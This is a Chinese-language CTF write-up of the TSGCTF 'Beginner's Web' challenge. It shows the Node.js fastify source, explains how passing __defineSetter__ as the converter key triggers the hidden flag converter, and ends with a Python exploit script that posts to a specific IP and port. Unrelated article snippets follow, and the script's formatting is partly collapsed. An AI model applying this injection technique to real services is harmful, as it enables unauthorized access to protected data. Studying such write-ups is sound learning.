TSGCTF-web Beginner's Web (js内置方法__defineSetter__)
 const fastify = require('fastify');
 const nunjucks = require('nunjucks');
 const crypto = require('crypto');
 const converters = {};
 const flagConverter = (input, callback) => {
   const flag = '*** CENSORED ***';
   callback(null, flag);
 };
 const base64Converter = (input, callback) => {
   try {
     const result = Buffer.from(input).toString('base64');
     callback(null, result)
   } catch (error) {
     callback(error);
   }
 };
 const scryptConverter = (input, callback) => {
   crypto.scrypt(input, 'I like sugar', 64, (error, key) => {
     if (error) {
       callback(error);
     } else {
       callback(null, key.toString('hex'));
     }
   });
 };
 const app = fastify();
 app.register(require('point-of-view'), {engine: {nunjucks}});
 app.register(require('fastify-formbody'));
 app.register(require('fastify-cookie'));
 app.register(require('fastify-session'), {secret: Math.random().toString(2), cookie: {secure: false}});
 app.get('/', async (request, reply) => {
   reply.view('index.html', {sessionId: request.session.sessionId});
 });
 app.post('/', async (request, reply) => {
   if (request.body.converter.match(/[FLAG]/)) {
     throw new Error("Don't be evil :)");
   }
   if (request.body.input.length < 10) {
     throw new Error('Too short :(');
   }
   converters['base64'] = base64Converter;
   converters['scrypt'] = scryptConverter;
   converters[`FLAG_${request.session.sessionId}`] = flagConverter;
   const result = await new Promise((resolve, reject) => {
     converters[request.body.converter](request.body.input, (error, result) => {
       if (error) {
         reject(error);
       } else {
         resolve(result);
       }
     });
   });
   reply.view('index.html', {
     input: request.body.input,
     result,
     sessionId: request.session.sessionId,
   });
 });
 app.setErrorHandler((error, request, reply) => {
   reply.view('index.html', {error, sessionId: request.session.sessionId});
 });
 app.listen(59101, '0.0.0.0');

页面下方有显示出用户sessionID,结合源码不难看出可以利用flagConverter获得flag。因为有匹配,所以直接在converter参数传入FLAG_${request.session.sessionId}是行不通的。
1.利用__defineSetter__创造出名为FLAG_${request.session.sessionId}的数组键名 (${request.session.sessionId}表示sessionID)。
__defineSetter__介绍:https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/__defineSetter__
__defineSetter__有两个参数,第一个是属性,第二个是函数。实际上就是绑个函数在指定属性上,当指定属性被赋值时,该函数会被调用。
converters[request.body.converter](request.body.input, (error, result)是用户可控的,(error, result)是箭头函数有两个参数
所以,input输入FLAG_${request.session.sessionId},converter参数输入__defineSetter__就可以成功把(error, result)绑在FLAG_${request.session.sessionId}上。FLAG_${request.session.sessionId}对应箭头函数的第一个参数error,最后能通过error把flag输出
此时,我们需要对promise有所了解 https://blog.csdn.net/new__person/article/details/103702562

因为 __defineSetter__没有被触发,promise不会有返回结果,所以http没有response

此时应该是这样的__defineSetter(FLAG_${request.session.sessionId},(error, result) => {if (error) {reject(error);} else {resolve(result);})
我们直接回到post

红色箭头所指的是一个赋值操作,只要执行这条语句就能触发我们之前的__defineSetter__。非常的amazing啊,我们只要再发一个不会在前两个if判断挂掉的包就能成功触发。触发之后就会把FLAG_${request.session.sessionId}传入箭头函数,作为其第一个参数error,通过reject(error)输出。这里使用python发包
exp:
#!/usr/bin/python3
import threading
import requests
import time cookie = {"sessionId" : "Qaa0ZB24y079HE3S4XNVGrRYk0dnpAAY.ZyckOkEpT1GboSRLgcE1I%2BZ52%2FqfSQEZWkq1%2F5dyJB"}
def sendPayload():
r = requests.post("http://35.221.81.216:59101",data={"converter":"__defineSetter__","input":"FLAG_Qaa0ZB24y079HE3S4XNVGrRYk0dnpAAY"},cookies=cookie)
print(r.text) threading.Thread(target=sendPayload).start()
requests.post("http://35.221.81.216:59101",data={"converter":"base64","input":"55555555555555555555"},cookies=cookie)
这题叫beginner可真是太艹了
本人js菜的抠脚,如果有不对的地方,望各位师傅斧正
TSGCTF-web Beginner's Web (js内置方法__defineSetter__)的更多相关文章
- web前端学习(四)JavaScript学习笔记部分(6)-- js内置对象
		1.JS内置对象-什么是对象 1.1.什么是对象: JavaScript中的所有事物都是对象:字符串.数值.数组.函数 每个对象带有属性和方法 JavaScript允许自定义对象 1.2.自定义对象: ... 
- 4、js内置函数
		前言:上一篇我介绍了函数的基本概念,和一些简单的Demo.其实很多函数是js内置的,我们无需自己去写,直接拿过来用即可.内置函数分为全局函数和js内置对象的函数区别:全局函数不属于任何一个内置对象.理 ... 
- 4月5日--课堂笔记--JS内置对象
		JavaScript 4.5 一. JS内置对象 1.数组Array a)创建语法1:var arr=new Array(参数); i. 没有参数:创建一个初始容量为0的数组 ii. ... 
- JS内置对象有哪些?
		JS内置对象分为数据封装类对象和其他对象 数据封装类对象:String,Boolean,Number,Array,和Object; 其他对象:Function,Arguments,Math,Date, ... 
- JS内置对象-String对象、Date日期对象、Array数组对象、Math对象
		一.JavaScript中的所有事物都是对象:字符串.数组.数值.函数... 1.每个对象带有属性和方法 JavaScript允许自定义对象 2.自定义对象 a.定义并创建对象实例 b.使用函数来定义 ... 
- js  内置对象和方法  示例
		JS内置函数不从属于任何对象,在JS语句的任何地方都可以直接使用这些函数.JS中常用的内置函数如下: 1.eval(str)接收一个字符串形式的表达式,并试图求出表达式的值.作为参数的表达式可以采用任 ... 
- 【ES6】改变 JS 内置行为的代理与反射
		代理(Proxy)可以拦截并改变 JS 引擎的底层操作,如数据读取.属性定义.函数构造等一系列操作.ES6 通过对这些底层内置对象的代理陷阱和反射函数,让开发者能进一步接近 JS 引擎的能力. 一.代 ... 
- 5月15日上课笔记-js中 location对象的属性、document对象、js内置对象、Date事件对象、
		location的属性: host: 返回当前主机名和端口号 定时函数: setTimeout( ) setInterval() 二.document对象 getElementById(); 根据ID ... 
- JS内置对象的原型不能重定义?只能动态添加属性或方法?
		昨天马上就快下班了,坐在我对面的同事突然问我一个问题,我说“爱过”,哈哈,开个玩笑.情况是这样的,他发现JS的内置对象的原型好像不能通过字面量对象的形式进行覆盖, 只能动态的为内置对象的原型添加属性或 ... 
随机推荐
- web如何测试
			当我们负责web测试的时候,先了解B/S架构,然后分析如何开始执行测试,一般步骤:从功能测试,兼容测试,安全测试. 功能测试: 一.链接测试,链接是web应用系统的一个很重要的特征,主要是用于页面之间 ... 
- Python元类实战,通过元类实现数据库ORM框架
			本文始发于个人公众号:TechFlow,原创不易,求个关注 今天是Python专题的第19篇文章,我们一起来用元类实现一个简易的ORM数据库框架. 本文主要是受到了廖雪峰老师Python3入门教程的启 ... 
- SpringBoot--日期格式化
			1.为了统一转转,可以使用日期格式化类 package com.example.demo.resource; import com.fasterxml.jackson.datatype.jsr310. ... 
- python计算矩阵均匀分布程度
			计算N×M(建议维度大于100*100)的0,1矩阵均匀分布程度,值由0到1表示不均匀到均匀 import numpy as np def make_rand_matrix(side=20): # 制 ... 
- Python实用笔记——错误处理
			让我们用一个例子来看看try的机制: try: print('try...') r = 10 / 0 print('result:', r) except ZeroDivisionError as e ... 
- Elasticsearch从入门到放弃:分词器初印象
			Elasticsearch 系列回来了,先给因为这个系列关注我的同学说声抱歉,拖了这么久才回来,这个系列虽然叫「Elasticsearch 从入门到放弃」,但只有三篇就放弃还是有点过分的,所以还是回来 ... 
- abp + vue  模板新建页面
			新建页面 创建按对应的模块和实体 新建的模块需要进行注册 
- 编辑器之神_vim
			01vim简介 1.什么是vim: 文本编辑器 2.vim特点: 没有图形界面;只能是编辑文本内容;没有菜单 ;只有命令 3.在很多linux发行版中,直接把vi作为vim的软连接 02打开和新建文件 ... 
- Prince and princess——需要优化的DP
			一个时间效率为o(nlogn)的算法求公共子序列的应用 Prince and princess 题目大意(已翻译 ) 在nxn的棋盘上,王子和公主玩游戏.棋盘上的正方形编号为1.2.3 ... n * ... 
- 数据库基础01-SQL基础语法
			数据库查询语言(Structured Query Language) 数据库查询语言: DDL(data definition language) -数据定义语言,建库建表 DML (data man ... 
